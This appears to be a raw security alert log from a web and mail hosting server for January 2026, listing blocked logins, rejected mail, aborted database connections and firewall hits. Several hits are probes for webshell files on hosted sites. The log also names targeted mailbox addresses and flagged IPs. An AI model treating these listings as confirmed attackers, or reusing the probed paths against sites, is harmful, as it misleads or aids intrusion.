Jan 15 01:23:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-01-15 01:23:37 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:56388: 535 Incorrect authentication data (set_id=info@sutsb.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 01:23:40 H=([45.144.212.242]) [45.144.212.242]:60786 F=<no_reply@admin.com> rejected RCPT <munch@nexuscollection.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.233
country_id: 1269750
description:
Jan 15 01:24:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.233 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.233
country_id: 1269750
description:
2026-01-15 01:24:06 dovecot_login authenticator failed for H=(nsg-corporate-233.228.187.122.airtel.in) [122.187.228.233]:39925: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 01:24:39 H=([45.144.212.242]) [45.144.212.242]:58477 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.142.243
country_id: 1819730
description:
Jan 15 01:27:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.142.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.153.3.119
country_id: 3175395
description:
Jan 15 01:27:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.153.3.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.142.243
country_id: 1819730
description:
2026-01-15 01:27:34 dovecot_login authenticator failed for H=243.142.48.116.static.netvigator.com [116.48.142.243]:53091: 535 Incorrect authentication data (set_id=admin@imax.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.78.154
country_id: 690791
description:
Jan 15 01:28:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.78.154 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.77.204.146
country_id: 2542007
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.2.123.19
country_id: 1562822
description:
2026-01-15 01:31:11 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [117.2.123.19]:42112: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.107.82
country_id: 3865483
description:
Jan 15 01:32:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.107.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 20.46.45.121
country_id: 290557
description:
Jan 15 01:34:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 20.46.45.121 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
country_id: 290557
description:
2026-01-15 01:34:04 dovecot_login authenticator failed for H=([20.46.45.121]) [20.46.45.121]:56978: 535 Incorrect authentication data (set_id=slgoh@kendek.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/iso.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.205.196.108
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-39.185.205.196.108||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/images/sliders/company.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.150.207
country_id: 1733045
description:
[2026-01-15 01:41:50 +0800] info [webmaild] 161.142.150.207 - s-osada@mckd.com.my "GET /cpsess6861267611/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.237.123.210
country_id: 99237
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-40.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 15 01:42:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/images/sliders/faq.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.78.154
country_id: 690791
description:
Jan 15 01:45:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.78.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.78.154
country_id: 690791
description:
Jan 15 01:46:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.78.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.101
country_id: 1269750
description:
Jan 15 01:46:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/photos/article.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/iso.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 01:48:39 H=([45.144.212.242]) [45.144.212.242]:54797 F=<no_reply@admin.com> rejected RCPT <nuratiqah@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.252.6.140
country_id: 6252001
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/images/011-1273_1.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/portfolio/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 01:57:17 H=([45.144.212.242]) [45.144.212.242]:55620 F=<no_reply@admin.com> rejected RCPT <ongkonaun@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.225.162.160
country_id: 690791
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/10autofilter.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 15 01:59:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 02:01:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 02:01:34 H=([45.144.212.242]) [45.144.212.242]:55634 F=<no_reply@admin.com> rejected RCPT <oscar@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/img/druma_photos/video.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 02:05:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.194
country_id: 2750405
description:
2026-01-15  2:07:07 71978 [Warning] Aborted connection 71978 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.194' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/images/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.72.74.162
country_id: 6252001
description:
Jan 15 02:09:36 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.72.74.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-15 02:09:38 dovecot_plain authenticator failed for H=(relia) [64.72.74.162]:44740: 535 Incorrect authentication data (set_id=support@kimmark.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/component/tag/images/img/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.102.242
country_id: 290557
description:
Jan 15 02:10:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.102.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2026-01-15 02:10:23 dovecot_plain authenticator failed for H=(tuity) [80.227.102.242]:58281: 535 Incorrect authentication data (set_id=support@usfood.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.55.194.114
country_id: 6252001
description:
Jan 15 02:10:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.55.194.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.55.194.114
country_id: 6252001
description:
2026-01-15 02:10:31 dovecot_plain authenticator failed for H=c-73-55-194-114.hsd1.tx.comcast.net (moksed) [73.55.194.114]:38596: 535 Incorrect authentication data (set_id=huichieng@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-01-15 02:12:35 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:32832: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/index.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.211.112.94
country_id: 289688
domain: fasterget.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fasterget.com.my/cgi-bin HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.238.246.13
country_id: 3469034
domain: fasterget.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fasterget.com.my/cgi-bin/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.242
country_id: 1814991
description:
Jan 15 02:12:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.194
country_id: 2750405
description:
2026-01-15  2:16:09 72312 [Warning] Aborted connection 72312 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.194' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.194
country_id: 2750405
description:
2026-01-15  2:16:57 72331 [Warning] Aborted connection 72331 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.194' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.229.148.245
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-89.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.240.5.181
country_id: 1814991
description:
Jan 15 02:20:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.240.5.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.240.5.181
country_id: 1814991
description:
2026-01-15 02:20:04 dovecot_login authenticator failed for H=([222.240.5.181]) [222.240.5.181]:36080: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.114
country_id: 3175395
description:
Jan 15 02:23:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.114 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 182.138.158.100
country_id: 1814991
description:
2026-01-15  2:23:30 72666 [Warning] Aborted connection 72666 to db: 'unconnected' user: 'unauthenticated' host: '182.138.158.100' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 1.24.16.73
country_id: 1814991
description:
2026-01-15  2:23:39 72675 [Warning] Aborted connection 72675 to db: 'unconnected' user: 'unauthenticated' host: '1.24.16.73' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.35
country_id: 3175395
description:
Jan 15 02:23:49 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.157.127.39
country_id: 1835841
description:
Jan 15 02:23:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.157.127.39 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 221.207.35.70
country_id: 1814991
description:
2026-01-15  2:23:28 72665 [Warning] Aborted connection 72665 to db: 'unconnected' user: 'unauthenticated' host: '221.207.35.70' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 122.188.33.88
country_id: 1814991
description:
2026-01-15  2:23:31 72669 [Warning] Aborted connection 72669 to db: 'unconnected' user: 'unauthenticated' host: '122.188.33.88' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 171.120.25.142
country_id: 1814991
description:
2026-01-15  2:23:38 72674 [Warning] Aborted connection 72674 to db: 'unconnected' user: 'unauthenticated' host: '171.120.25.142' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.157.127.39
country_id: 1835841
description:
2026-01-15 02:23:53 dovecot_login authenticator failed for H=([127.0.0.1]) [218.157.127.39]:37958: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.126.129.201
country_id: 1835841
description:
Jan 15 02:24:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.126.129.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.129.201
country_id: 1835841
description:
2026-01-15 02:24:11 dovecot_login authenticator failed for H=([127.0.0.1]) [168.126.129.201]:46766: 535 Incorrect authentication data (set_id=bptioh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.121
country_id: 6290252
description:
Jan 15 02:25:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.102.242
country_id: 290557
description:
Jan 15 02:26:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.102.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2026-01-15 02:26:10 dovecot_plain authenticator failed for H=(ivocer) [80.227.102.242]:46931: 535 Incorrect authentication data (set_id=charles.loo@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2026-01-15 02:27:17 dovecot_plain authenticator failed for H=(arils) [80.227.102.242]:58899: 535 Incorrect authentication data (set_id=no-replay@kimmark.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 36.106.166.82
country_id: 1814991
description:
2026-01-15  2:27:54 72865 [Warning] Aborted connection 72865 to db: 'unconnected' user: 'unauthenticated' host: '36.106.166.82' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 123.14.127.65
country_id: 1814991
description:
2026-01-15  2:27:56 72866 [Warning] Aborted connection 72866 to db: 'unconnected' user: 'unauthenticated' host: '123.14.127.65' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.16.97.90
country_id: 3469034
description:
2026-01-15 02:28:08 dovecot_login authenticator failed for H=mvx-187-16-97-90.mundivox.com [187.16.97.90]:46360: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.16.97.90
country_id: 3469034
description:
Jan 15 02:28:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.16.97.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.102.242
country_id: 290557
description:
Jan 15 02:27:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.102.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.36.65.107
country_id: 597427
description:
Jan 15 02:29:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.36.65.107 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 58.212.237.84
country_id: 1814991
description:
2026-01-15  2:28:08 72868 [Warning] Aborted connection 72868 to db: 'unconnected' user: 'unauthenticated' host: '58.212.237.84' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.36.65.107
country_id: 597427
description:
Jan 15 02:29:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.36.65.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.127.227.56
country_id: 2750405
description:
Jan 15 02:30:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.127.227.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.127.227.56
country_id: 2750405
description:
2026-01-15 02:30:06 dovecot_login authenticator failed for H=(P8cxNcS) [79.127.227.56]:51767: 535 Incorrect authentication data (set_id=admin@cordage.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.13.153.34
country_id: 1814991
description:
Jan 15 02:30:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.13.153.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.153.34
country_id: 1814991
description:
2026-01-15 02:30:22 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.153.34]:44676: 535 Incorrect authentication data (set_id=jessieteoh@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.51.174
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-29.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 154.244.62.226
country_id: 2589581
description:
2026-01-15 02:33:46 H=([154.244.62.226]) [154.244.62.226]:13419 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 154.244.62.226
country_id: 2589581
description:
2026-01-15 02:36:34 H=([154.244.62.226]) [154.244.62.226]:13627 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 154.244.62.226
country_id: 2589581
description:
2026-01-15 02:38:38 H=([154.244.62.226]) [154.244.62.226]:13790 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 154.244.62.226
country_id: 2589581
description:
2026-01-15 02:39:32 H=([154.244.62.226]) [154.244.62.226]:13865 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
